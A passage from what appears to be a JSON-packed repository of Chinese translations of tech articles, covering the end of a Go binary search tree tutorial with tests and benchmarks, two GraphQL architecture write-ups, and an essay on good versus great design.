最小值\n\n![](https://cl.ly/9f703767f7c9/Image%2525202018-08-29%252520at%25252011.20.37%252520PM.png)\n\n如果不停的向左移，你会找到最小值（图中为 `24`）\n\n```go\nfunc (n *Node) Min() int {\n    if n.Left == nil {\n        return n.Key\n    }\n    return n.Left.Min()\n}\n```\n\n## 最大值\n\n![](https://cl.ly/6e4021ed62d9/Image%2525202018-08-29%252520at%25252011.22.20%252520PM.png)\n\n```go\nfunc (n *Node) Max() int {\n    if n.Right == nil {\n        return n.Key\n    }\n    return n.Right.Max()\n}\n```\n\n如果你一直向右移，则会找到最大值（图中为 `96`）。\n\n## 单元测试\n\n既然我们已经为二叉查找树的每个主要函数编写了代码，那么让我们实际测试一下我们的代码吧！ 测试实践过程中最有意思的部分：Go 中的测试比许多其他语言（如 Python 和 C ）更直接。\n\n```go\n// 必须导入标准库\nimport \"testing\"\n\n// 这个称之为测试表。它能够简单的指定测试用例来避免写出重复代码。\n// 见 https://github.com/golang/go/wiki/TableDrivenTests\nvar tests = []struct {\n    input  int\n    output bool\n}{\n    {6, true},\n    {16, false},\n    {3, true},\n}\n\nfunc TestSearch(t *testing.T) {\n    //     6\n    //    /\n    //   3\n    tree := &Node{Key: 6, Left: &Node{Key: 3}}\n    \n    for i, test := range tests { \n        if res := tree.Search(test.input); res != test.output {\n            t.Errorf(\"%d: got %v, expected %v\", i, res, test.output)\n        }\n    }\n\n}\n```\n\n然后只需要运行：\n\n```\n> go test\n```\n\nGo 会运行你的测试并输出一个标准格式的结果，来告诉你测试是否通过，测试失败的消息以及测试花费的时间。\n\n## 性能测试\n\n等等，还有更多内容！Go 可以让性能测试变得非常简洁，你只需要：\n\n```go\nimport \"testing\"\n\nfunc BenchmarkSearch(b *testing.B) {\n    tree := &Node{Key: 6}\n\n    for i := 0; i < b.N; i++ {\n        tree.Search(6)\n    }\n}\n```\n\n`b.N` 会反复运行 `tree.Search()` 来获得 `tree.Search()` 的稳定运行结果。\n\n通过下面的命令运行测试：\n\n```\n> go test -bench=\n```\n\n输出类似于：\n\n```\ngoos: darwin\ngoarch: amd64\npkg: github.com/kgibilterra/alGOrithms/bst\nBenchmarkSearch-4       1000000000               2.84 ns/op\nPASS\nok      github.com/kgibilterra/alGOrithms/bst   3.141s\n```\n\n你需要关注的是下面这行：\n\n```\nBenchmarkSearch-4       1000000000               2.84 ns/op\n```\n\n它表明了你函数的执行速度。这种情况下，`test.Search()` 的执行时间大约为 2.84 纳秒。\n\n既然可以简单运行性能测试，那么可以开始做一些实验了，比如：\n\n*   如果树非常大或者非常深灰发生什么？\n*   如果我修改了需要查找的 key 会发生什么？\n\n发现它特别利于理解 map 和 slice 之间的性能特性。希望你能在网上快速找到相关反馈。\n\n> 译者注：二叉查找树的插入、删除、查找时间复杂度为 O(log(n))，最坏情况为 O(n)；Go 的 map 是一个哈希表，我们知道哈希表的插入、删除、查找的平均时间复杂度为 O(1)，而最坏情况下为 O(n)；而 Go 的 Slice 的查找需要遍历 Slice 复杂度为 O(n)，插入和删除在必要时会重新分配内存，最坏情况为 O(n)。\n\n## 二叉查找树术语\n\n最后我们来看一些二叉查找树的术语。如果你希望了解二叉查找树的更多内容，那么这些术语是有帮助的：\n\n**树的高度**：从根节点到叶子节点中最长路径的边数，这决定了算法的速度。\n\n![](https://cl.ly/705355d982d4/Image%2525202018-08-30%252520at%25252012.05.11%252520AM.png)\n\n图中树的高度 `5`。\n\n**节点深度**：从根节点到节点的边数。\n\n`48` 的深度为 `2`。\n\n![](https://cl.ly/a0058d294af0/Image%2525202018-08-30%252520at%25252012.08.04%252520AM.png)\n\n**满二叉树**：每个非叶子节点均包含两个子节点。\n\n![](https://cl.ly/3bd94a056d8d/Image%2525202018-08-30%252520at%25252012.10.53%252520AM.png)\n\n**完全二叉树**：每层结点都完全填满，在最后一层上如果不是满的，则只缺少右边的若干结点。\n\n![](https://cl.ly/d78de1699704/Image%2525202018-08-30%252520at%25252012.12.03%252520AM.png)\n\n**一个非平衡树**\n\n![](https://cl.ly/1669851131fe/Screen%252520Recording%2525202018-08-30%252520at%25252012.14%252520AM.gif)\n\n想象一下在这颗树上查找 `47`，你可以看到找到需要花费七步，而查找 `24` 则只需要花费三步，这个问题随着『不平衡』的增加而变得严重。解决方法就是使树变得平衡：\n\n**一个平衡树**：\n\n![](https://cl.ly/8ba095d064c8/Image%2525202018-08-30%252520at%25252012.20.17%252520AM.png)\n\n此树包含与非平衡树相同的节点，但在平衡树上查找平均比在不平衡树上查找更快。\n\n## 联系方式\n\nTwitter: [@kgibilterra](https://twitter.com/kgibilterra)\nEmail: [kgibilterra@gmail.com](mailto:kgibilterra@gmail.com)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/graphql-a-retrospective.md",
    "content": "> * 原文地址：[GRAPHQL: A RETROSPECTIVE](https://verve.co/engineering/graphql-a-retrospective/?utm_source=wanqu.co&utm_campaign=Wanqu+Daily&utm_medium=website)\n> * 原文作者：[Rob Kirberich](https://kirberich.uk/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/graphql-a-retrospective.md](https://github.com/xitu/gold-miner/blob/master/TODO1/graphql-a-retrospective.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[Eternaldeath](https://github.com/Eternaldeath)\n\n# 关于使用 GRAPHQL 构建项目的回顾\n\n在 2016 年末，我们决定用 Python 和 [React](https://reactjs.org/) 重写老旧的 PHP 遗留系统。由于只有四个月的时间在 2017 年的节日（到来前）及时建立 MVP（模式开发的系统），我们必须非常谨慎地决定如何投入时间。\n\n我们投入使用的技术之一就是 GraphQL。我们中之前还从来没有人用过它，但我们认为它对于快速交付以及能让人们独立工作至关重要。\n\n事实证明这是一个非常好的决定，所以两年后我们想回顾并分享从那时起学到的东西...\n\n#### 两年后的 GraphQL\n\n我们从遗留系统学到的教训，大大影响了我们，于是我们决定使用 [GraphQL](https://graphql.org/)。我们在相当数量的微服务之间使用 REST APIS，导致很多混乱，如不兼容的接口，不同的资源标识符和非常复杂的部署。任何 API 的变动都需要同时部署所有使用了这个 API 的服务以避免停机故障，这会经常出现错误并导致很长的发布周期。在单个 API 网关使用 GraphQL，我们将可以大大简化服务格局。我们也决定了使用 [Relay](https://facebook.github.io/relay/)，它为我们提供了一种识别资源的单一的、全局的方式，以及组织 GraphQL 模型的简单方法。\n\n我们使用单一服务作为 GraphQL 服务器，它反过来会请求各种后端服务 -- 其中大部分是 REST APIs，但是因为它们都只和网关通信，所以它们可以使用任何想用的接口。网关被设计为完全无状态的，这对于可扩展性大有裨益。缓存也是在 GraphQL 网关中，因此，只需扩大网关实例的数量，就可以轻松扩展整个系统。\n\nAPI 网关并不是 GraphQL 世界的规章，所以为什么尽管使用它们意味着需要从网关到后台服务的附加请求，我们还要使用呢？对于我们而言，最大的原因就是减少 API 的相互依赖。没有网关的话，我们的服务结构将会差不多像这样：\n\n[![](https://verve.co/wp-content/uploads/2018/11/Verve_GraphQL_Diagram_1_a-2000x2000.jpg)](https://verve.co/wp-content/uploads/2018/11/Verve_GraphQL_Diagram_1_a.jpg)\n\n很多服务都和很多其他服务互通，导致需要大量的 API 连接，连接数量会以大致相当于服务数量的二次方的速度增长。这不但几乎不可能让任何人记住，同时还在处理中断，维护和 API 更改时，增加了大量复杂性。\n\n即使在这样的网络中，GraphQL 也能够帮助提升向后兼容性，但这是当你在服务之间放置一个单一网关的时候所会发生的事情：\n\n[![](https://verve.co/wp-content/uploads/2018/11/Verve_GraphQL_Diagram_2-2000x2000.jpg)](https://verve.co/wp-content/uploads/2018/11/Verve_GraphQL_Diagram_2.jpg)\n\n忽然间，就仅有线性数量的连接了，每个新的服务仅会在网络图中增加一个新连接。API 变化仅需要影响它的源服务和网关。\n\nAPI 网关是服务互相通信的**唯一**途径，这就大大降低了复杂度。它还为缓存，缩放，监视和分析创建了一个很好的中心位置。一般来说，只有一项服务负责这么多事情并不是一个好主意 -- 而是一个故障点。\n\n但是，API 网关是**无状态的**。它没有数据库，没有本地资源也没有认证。这意味着它可以在水平方向上缩放自如，同时因为它还负责了缓存，所以仅增加网关实例的数量就有助于显著解决流量高峰（的问题）。\n\n当然，网关也不是全无代价的：一个请求现在要发送两次了，并且如果一个后台服务想要和另一个后台服务通信，就必须通过网关。这对于创建一个更易于维护的中心接口非常有用，但是对于性能来说并不是很好。这就是无状态网关展现自己光辉的时候。因为网关代码在**哪里**运行并不重要，那就没有什么能阻止我们将每个后端服务都作为其**自己的**网关。我们将 GraphQL 接口移动到了每个服务中，直接发送网络请求，而不是发送两次，这样完全不需要使用 GraphQL 服务器，但是却依旧保留了所有 GraphQL 中心模型的优势。并且由于我们使用了 [Python](https://www.python.org/) 定义了 GraphQL 模型，我们决定更深一步，通过从 GraphQL 模型中自动生成 API 包装器，可以直接在 Python 中使用它。\n\n结果就是现在服务间的通信代码变成了如下这样：\n\n[![GraphQL Code](https://verve.co/wp-content/uploads/2018/11/Verve_GraphQL_Code_3.png)](https://verve.co/wp-content/uploads/2018/11/Verve_GraphQL_Code_3.png)\n\nGraphQL 模型的 API 包裹器是完全从 graphene schema 自动生成的。所以，服务甚至不需要模型文件的副本。没有多余的请求，身份验证在后台透明处理，字段在访问时会被延迟解析。\n\n现在，在这样的环境中，成为一个好的 API “公民”就会有一些要求了。后台 API 大多可以做任何它们想做的事情，但是在如何进行缓存和权限检查的时候它们必须发挥很好的作用。我们在后端 APIs 中使用的规则如下：\n\n#### **避免嵌套对象，仅返回相关联对象的 IDs**\n\n在 REST API 中返回嵌套的对象是减少请求数量的一个很好的方法。但是这也让缓存非常困难，并可能导致获取多余的资源，这正是 GraphQL 应该对抗的。通常情况下，我们避免大的，复杂的请求，而更偏向于稍多但是容易缓存的，更加扁平化的请求。\n\n#### 如果确实需要嵌套，**绝不**嵌套那些有附加权限的对象\n\n有时候性能要求超过了简单性的要求，那我们就可以返回潜逃的对象，例如，在一个 API 应答中包含一个相关联的嵌套对象的长列表。但是，我们只在被嵌套对象的权限不比外层对象更严格的情况下这样做，因为如果不这样，应答就无法被缓存。\n\n我们使用 graphene 和 graphene-django 来实际运行服务器，我们不使用 graphene-django 自动映射 [Django](https://www.djangoproject.com/) 模型的能力，因为所有的数据都来自外部请求，我们只使用它来与我们的堆栈的其余部分兼容并熟悉它。整个网关服务实际上就是一个单独的 GraphQLView，我们做了一点小小的扩充来允许我们对前端做出优化：\n\n*   我们将报错信息优化，用以将 Django REST Framework 错误从后端服务中分解出来。DRF 每个字段可能有不止一个错误，但它在原生 graphene-django 中并不起作用，所以我们扩展了视图，用来为每个字段提供精确的错误信息。\n*   我们扩展了错误日志，以便更容易地报告各种错误信息。例如 4xx 错误实际意味着用户错误，但是由于网关调用了另一个不同的 API，它同样也意味着网关错误的使用了我们的 API。DRF 不会记录后台服务的 4xx 错误，因此，当实际上是我们而不是用户导致的错误时，我们会在网关中执行此操作。\n*   监控：GraphQLView 是添加各种性能监控位的绝佳位置。我们追踪每个请求的执行时间，对查询进行散列，以便合计不同参数的同一请求的响应时间。\n\nGraphQL 对我们大有益处，但是我们也犯了很多错误。有时候我们会努力保持我们的 API 能真正向后兼容，除了性能监控和更好的错误报告，还必须为已弃用的字段投入额外的监控。每次 API 变化就需要手动更新 GraphQL 模型，这是相当乏味的事情；并且为了通过 GraphQL 使后台服务的通信变得非常容易，我们有时也会打破一些服务的边界。但最终，它帮助我们更快地发展，维持了基础设施核心模型的简易，并使我们的团队更加自动化。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/graphql-server-design-medium.md",
    "content": "> * 原文地址：[GraphQL Server Design @ Medium](https://medium.engineering/graphql-server-design-medium-34862677b4b8)\n> * 原文作者：[Sasha Solomon](https://medium.engineering/@sachee?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/graphql-server-design-medium.md](https://github.com/xitu/gold-miner/blob/master/TODO1/graphql-server-design-medium.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[KarthusLorin](https://github.com/KarthusLorin)，[weibinzhu](https://github.com/weibinzhu)\n\n# Medium 的 GraphQL 服务设计\n\n![](https://cdn-images-1.medium.com/max/1600/1*LxzBwQmETizo-ZA_jiBLiQ.png)\n\n前一段时间，我们[已经介绍了](https://medium.engineering/2-fast-2-furious-migrating-mediums-codebase-without-slowing-down-84b1e33d81f4)如何使用 [GraphQL](https://graphql.org/) 将项目迁移为 [React.js](https://reactjs.org/) 和面向服务的结构。现在，我们想要介绍 GraphQL 服务结构是如何帮助我们更加平滑顺利地完成迁移的。\n\n在开始设计 GraphQL 服务之前，我们必须要牢记三件事情：\n\n**方便修改数据格式**\n目前我们使用[协议缓冲区 protocol buffers](https://en.wikipedia.org/wiki/Protocol_Buffers) 来作为来自后端的数据模型 schema。但是，我们使用数据的方式会变化，而协议缓冲却没有跟进。这就意味着我们的数据格式并不总是客户端需要的那样。\n\n**清楚地区分哪些数据是用于客户端的**\n在 GraphQL 服务中，被传递的数据都处于客户端的“准备就绪”的不同阶段。我们应当让每个准备就绪的状态更加清晰，而不是把它们混合起来，这样我们就能确切的知道那些数据是用于客户端的。\n\n**方便添加新的数据源**\n既然我们要转型为面向服务的结构，我们就希望确保为 GraphQL 服务添加新的数据源是很容易的，同时明确数据来源。\n\n牢记这些，我们就可以构造出一个有三种不同角色的服务框架：\n\n获取器 Fetchers、存储库（Repos）和 GraphQL 模式。\n\n![](https://cdn-images-1.medium.com/max/1600/1*HcISBhsiC8gaLbfanw4L1A.png)\n\n责任分层块\n\n每一层都有自己的职责，并且只与它的上层交互。让我们来谈谈每一层都具体做了什么。\n\n### 获取器 Fetchers\n\n![](https://cdn-images-1.medium.com/max/1600/1*BmEv_S_KuHP2NJJbcU1qzw.png)\n\n从任意数量的源获取数据\n\n获取器的目的是为了从数据源获取数据。GraphQL 服务获取的数据应该已经完成了业务逻辑的添加或更改。\n\n获取器应该与 REST 或 gRPC 端口相对应。获取器需要一个协议缓冲区 protobuf。这意味着由获取器获取的任何数据都必须遵循协议缓冲区定义的模式。\n\n### 存储库\n\n![](https://cdn-images-1.medium.com/max/1600/1*KDWPV1Q40zj6QFlAKgwpmw.png)\n\n根据客户端需要设计数据\n\nGraphQL 模型用存储库来做数据仓库。存储库“存储”了来自数据源的已处理过的数据。\n\n在这一步，我们可以打包或展开字段和对象、移动数据，等等，将数据转化为客户端需要的格式。\n\n从遗留的系统转型，这一步是必须的，因为它给了我们为客户端更新数据格式的自由，同时不用更新或者添加接口和相应的协议缓冲区。\n\n存储库仅从获取器获取数据，实际上从不自己请求外界数据。换句话说，存储库只创建我们需要的数据**格式**，但是它们并不“知道”数据是从哪里获取的。\n\n### GraphQL 模型\n\n![](https://cdn-images-1.medium.com/max/1600/1*B0nY7N8wYNlWOCEJba7CwQ.png)\n\n从存储库对象派生出客户端模型\n\nGraphQL 模型是数据发送到客户端的时候选取的格式。\n\nGraphQL 模型仅使用存储库的数据，从不会直接和获取器交互。这使得我们能够清楚地将关注点分离开。\n\n另外，GraphQL 模型是完全从存储库模型派生出来的。模型完全不会改变数据，它也并不需要：存储库已经将数据转化为我们需要的格式，所以模型只需要使用数据即可。这样，关于数据格式是什么样的或者是我们可以在哪里操作数据格式，就没有可混淆的了。\n\n### GraphQL 服务数据流\n\n![](https://cdn-images-1.medium.com/max/1600/1*VCs9aXb1RdBFYMhoFJsjjw.png)\n\n数据是如何在 GraphQL 服务中流动的\n\n当数据通过不同的层时，它的格式都会变得更像客户端所需要的。每一步的数据来自哪里是很清楚的，我们也知道服务的每一部分都负责什么。\n\n这些抽象边界意味着，我们可以通过替换不同的数据源增量地迁移遗留系统，但无需重写整个系统。这使我们的迁移方法清晰且易于遵循，同时在不立即更改所有内容的情况下，可以轻松地朝着面向服务的体系结构完成工作。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/great-design-vs-good-design-whats-the-difference-here-s-the-truth.md",
    "content": "> * 原文地址：[Great Design Vs Good Design: What’s The Difference? Here’s The Truth](https://medium.com/truthaboutdesign/great-design-vs-good-design-whats-the-difference-here-s-the-truth-da08557f6fdd)\n> * 原文作者：[Jamal Nichols](https://medium.com/@jamalnichols)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/great-design-vs-good-design-whats-the-difference-here-s-the-truth.md](https://github.com/xitu/gold-miner/blob/master/TODO1/great-design-vs-good-design-whats-the-difference-here-s-the-truth.md)\n> * 译者：[Mirosalva](https://github.com/Mirosalva)\n> * 校对者：[Qiu Hu](https://github.com/whatbeg), [Charlo-O](https://github.com/Charlo-O)\n\n# 伟大设计与好设计之间区别是什么？这里告诉你真相\n\n![](https://cdn-images-1.medium.com/max/5120/1*oFxtwD8CyvpVvLRbhPxrzQ.jpeg)\n\n过去十年内界面设计的最低标准已经上升，你现在看到这样的情况要少得多：\n\n![](https://cdn-images-1.medium.com/max/3312/1*ka6-MHyRe2UnlcCM9iYKZg.png)\n\n我们已经搞清楚如何让用户的界面看起来不错并且表现相当好。正如在其他成熟行业中一样，你能获得的行业标准已经出现：在汽车中，你不会切换加油和制动两种踏板的位置，也不会将座椅放在汽车外部。在用户界面，你不会添加闪烁文本或者自动播放音乐，而且你希望界面上的东西相对整洁。\n\n对于工业来说这是一个大的进步，但是我们现在做什么呢？仅仅不再犯下最惊人的错误就足够了吗？或者我们应该争取更多？\n\n我觉得数字设计领域正处于亟需我们力争伟大，而不仅是满足于好的状态。\n\n但是伟大设计长什么样呢？它跟好设计有什么区别？让我们来看看一些原则。\n\n## 好设计提供人们想要的，伟大的设计用意想不到的方式解决人们的问题\n\n大约一年前，Samsung 宣布正在研发一款可折叠的智能手机。有一句话引起了我的注意：\n\n> DJ Koh 曾说过『是时候交付一款可折叠设备了』这样的话，就在三星消费者调研表明这类设备存在市场之后。\n\n三星几乎自豪地说客户调查是该公司研发可折叠智能手机的原因，这一事实令人感到恐慌。\n\n向你的客户发送有关他们使用产品的满意度或者最近的产品维修进展如何是一回事。但是基于客户调研的产品研发却是令人非常质疑的。\n\n客户调研不会导向类似 iPhone、iPad 以及 Apple Watch 这类产品。\n\n这是一个过度引用 Henry Ford 的经典例子：“如果我们问了别人他们想要什么，他们大概会说『更快的马』”。\n\n伟大的设计源于对此事的理解：普通的外行人无法总能明确地说出解决方案，有时候他们只知道他们遇到了问题。提出解决这类问题的新方法这件事，却取决于生活在技术和创造性艺术交叉点的设计师，设计师可以在主题之间建立意想不到的联系，并使用新方法来解决问题。\n\n***\n\n## 好设计是数据驱动的，伟大的设计是会产生广博数据的\n\n『数据驱动』是一个有趣的词组。它字面上意思是数据**驱动**了你的决策。数据点在驾驶员的位置，而不是你。\n\n这种情况是有风险的，因为并非所有事情都是可以通过数据来解决的优化问题。把你所有的决策都基于你可以正确测量的数据点，可能会导致你失去对你正在尝试解决的重要宏观层面问题的聚焦。\n\n数据只是去解决问题的一种信息来源。因此，如果你想产出伟大设计，保持『数据知情』可以是你需要走的路子。\n\nBooking.com 是数据驱动型设计的一个好例子。他们做了大量的 A/B 测试，来了解用户如何最好地转换到他们平台上来预定机票和酒店。\n\n通过测试，他们发现添加『告急消息』会促使用户预定量变多。告急消息就是类似于『嘿！这个酒店只剩 4 个房间了，快订吧』。这很好，但是这些年来，booking.com 已经添加了一个接一个的消息，这里现在就更像是一个摇摇欲坠过度使用的汽车，而不是一个可以预订酒店的正经地方。\n\n![基本相同](https://cdn-images-1.medium.com/max/3840/1*3sxLm9wyllJHpOJ1DBZcQw.jpeg)\n\n最近，它开始显示一些你甚至都不能订的酒店，就为了强调这个意思『大家都在这里 booking.com 订酒店，所以你也来吧』\n\n![你在开玩笑吧](https://cdn-images-1.medium.com/max/3840/1*AsIGA9pPt_FR_9B2uRJL8Q.jpeg)\n\n我相信它可以将转化率提高 0.4%。但是如果看下整体体验，它真的已经开始下降了。不考虑总体体验，这是你在数据点和转化率的个位数提升的基础上对产品做短期优化时得到的结果类型。\n\n跟 Hotel Tonight 比较一下，它是一个快速增长的酒店预定应用，最近被 airbnb 以几百万美元收购。\n\n![](https://cdn-images-1.medium.com/max/3840/1*zcBZpuGKBjxGN44_9MqrtA.jpeg)\n\nHotel Tonight 明白人们想要寻找一间好屋子来入住，并且优化这一点。它显示的酒店房间预览图比 booking.com 显示的更大，并且有一点点告急消息，但是并没有占据一整片页面布局。他们专注于整体体验而非仅仅是由数据驱动产生小的转化率提升。\n\n***\n\n## 好设计试图取悦每个用户，伟大的设计有自己的想法并会挑战共识\n\n伟大的设计有一个世界观以及价值观，它会持续地践行这些。它并不会试图取悦所有的人。\n\n思考一下 Apple 的 MacBook 和 iPad 对比 Microsoft 的 Surface。Microsoft 采取的方式是『我们不想决定什么是消费者的最佳体验』。在某种程度上，他们让消费者设计他们自己的体验，而非自己设计。\n\n你从那样做得到的结果就是一台包含触摸屏和手写笔的笔记本，它可以双向折叠，你也可以拆下屏幕。它看起来不错，但你用它真的做什么呢？\n\n![啊……](https://cdn-images-1.medium.com/max/4800/1*CzRlfWcS9D-kBUZeCw9yVQ.png)\n\n同时，苹果采用的这种方式『让我们把技术变得更加个性化，并且围绕着特定使用场景去创造工具和外形』。\n\niPhone 和 iPad 被设计成处理**某些**以前被分配给笔记本和台式机的任务。在创造这些新型外观的过程，iPhone 和 iPad 也可以处理整体新任务。类似的过程也发生在 Apple Watch 上，它可以处理之前分配给 iPhone 的任务，同时还可以处理新任务。\n\n在 Apple 的视野，iPhone 和 iPad 需要与 Mac 分离开，因为每个类别都需要相较于忠实原有外形因素变得更强一些。我们的想法并不是让这些产品共享相同的用户输入，去让用户可以在桌子上的台式机和笔记本上以及智能机上做任何可能的事情。相反的，每个产品都具有基于用户输入方法和外形因素的不同功能。\n\n**这**是设计设备的一种固执己见的方法。不是所有人都赞同 Apple 的方法，但是结果却很清楚：[苹果产品](https://www.theverge.com/2016/2/1/10886720/apple-ipad-pro-outsold-microsoft-surface-sales)已经比 Microsoft 的产品[卖得多](https://www.inc.com/john-brandon/why-the-apple-ipad-pro-has-massively-outsold-the-microsoft-surface.html)，[过去 4 年](https://www.imore.com/apple-outselling-microsoft-powered-computers-it-may-not-be-fair-it-mobile-centric-future)有 30:1 的比例之多。\n\n***\n\n## 伟大的设计关注细节的同时也不会忽略整体情况\n\n现在你已见识了许多公司谈论设计的重要性。Salesforce 发布了一个全面的设计系统，其包含一个奇妙的名字（『Lightning 设计系统』）和许多插图吉祥物。\n\n然而，他们忽略了在该设计系统中正确地设置排版去优化屏幕的可读性。他们有如此宏伟的愿景，却忽视了设计的基本原理。\n\n![讽刺](https://cdn-images-1.medium.com/max/4792/1*H9o8HSUg2wGO2aQy2hQnoA.png)\n\n另一个你经常看到被忽视的基础要素是图形对比：图像表层的文字不可读...尽管一直在讨论『好设计』的重要性。\n\n![Intercom 的 [loves](https://www.intercom.com/blog/product-and-design/) 谈论了他们的设计如何好](https://cdn-images-1.medium.com/max/5012/1*5ic1paS7UtNIcY8C_2wxcA.png)\n\n专注于设计的表面部分而忽视了基本要素，就像棒球比赛中专注于本垒打，或者篮球比赛中只扣篮。看起来有趣，但是在现实的竞争环境中检验时，忽略游戏基本要素的玩家将会崩溃。\n\n> 伟大的设计永远不会忽视寻求给周围世界留下深刻印象的基本要素。\n\n就那个说明...\n\n## 好设计试图给人留下好印象，伟大的设计让人难以忘怀\n\n> “一位优秀的设计师会找到一种优雅的方式将你需要的一切放在一个页面上。一个伟大的设计师会让你相信一半内容都是不必要的。”\n> — Thomas Hutchings (@Dear**Impossible) 2013年 11 月 14日**\n\n好的设计旨在通过『令人愉快的动画』和『漂亮的用户界面』给人们留下深刻印象。你会发现好的设计，将其分解并记录下你喜欢的内容和操作方式。\n\n伟大的设计是不可见的，几乎完全感觉不到它是设计过的。就像你的 MacBook 在你佩戴 Apple Watch 情况下会自动解锁，或者你的 Nest 恒温器在你进入一个房间时会自动调节到你选择的温度。但它也可以像超市里的鸡蛋盒一样简单（你有没有尝试设计一个更好的鸡蛋盒？）。\n\n> 伟大的设计是不可见的，几乎完全感觉不到它是设计过的。它源于极致的关怀和助人的渴望。\n\n***\n\n## 伟大的设计拥有愿景、勇气和自我约束\n\n目前在硅谷中有一种趋势：尝试去将设计转化为可复制和再生产的流程，而不管你将谁放到这个位置。\n\n创造一个清晰定义的流程是一个好想法，尤其对大公司来说。但是当你在一个组织中按照这个水平一天接一天的工作，很容易过度关注于优化流程并且失去了你正在构建何物的视角，以及它的原因。你最终会在不重要的事情上做迭代和优化。有时候这在我们所有人的身上都有可能发生。\n\n> 做伟大设计的一部分工作是创造一个令人信服的未来愿景，并且在面对逆境时有勇气和自我约束里取坚持那个愿景。\n\n仅仅跟随按部就班地跟随流程并不能产生伟大的设计品。通过那种方法你可以得到一个『足够好』的设计。但是好设计和伟大设计的区别就在于好的成功和伟大成功的区别。\n\nJared Spool 最近有关[创造一个体验愿景](https://medium.com/@jmspool/the-experience-vision-a-self-fulfilling-ux-strategy-ce4cdb58227e)的文章在我看来，创造伟大设计的精髓就是：\n\n> 创造有效的体验愿景故事的方法是由当前体验开始。是什么让今天的产品或服务体验使我们的用户感到沮丧？\n> 我们可以问：**什么是我们可以想象出来提供给用户的最好体验？** 我们紧密地跟踪着沮丧点并想象出这些沮丧点不会发生的体验场景。\n> 接下来是确定基线的时间范围。[…]我们的大部分愿景体验都距 5 年基线较近了。[…]在 5 年内（或者任何我们选择的基线），我们可以想象的最佳体验是什么？因由我们把所有的沮丧点解决后人们生活会有多大的改善？\n\n一个令人信服的愿景是什么会使组织中的『流程机器』定位去创造伟大的产品。\n\n 对于一个资深的设计师来说，以那种方式来定义一个体验愿景是相当容易的。追寻这一愿景所需要的持续自我约束使其几乎无法实现。这就是为什么市场上有那么多奇怪的产品，以及为什么大多数应用和网站长得都一样。只是保持『足够好』更容易做到。\n\n## 拥抱伟大的设计\n\n有许多原因让我们尝试去做伟大的工作而不仅仅是『足够好』的工作：它将你变得与众不同。它让你周围的人更加幸福，它让你更幸福，它是非常有趣并令人满意的。\n\n但最重要的是，对你的生活你还有其他想做的事情吗？除了尽你最大的努力去让周围的世界变得更好，究竟还有什么更好的事情值得你花时间呢？如果每个人都这么做的话想想我们将会生活在什么的世界，这由你开始。\n\n### 分享你的故事\n\n能否举一些伟大设计的例子？发表评论与我们一起分享吧。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 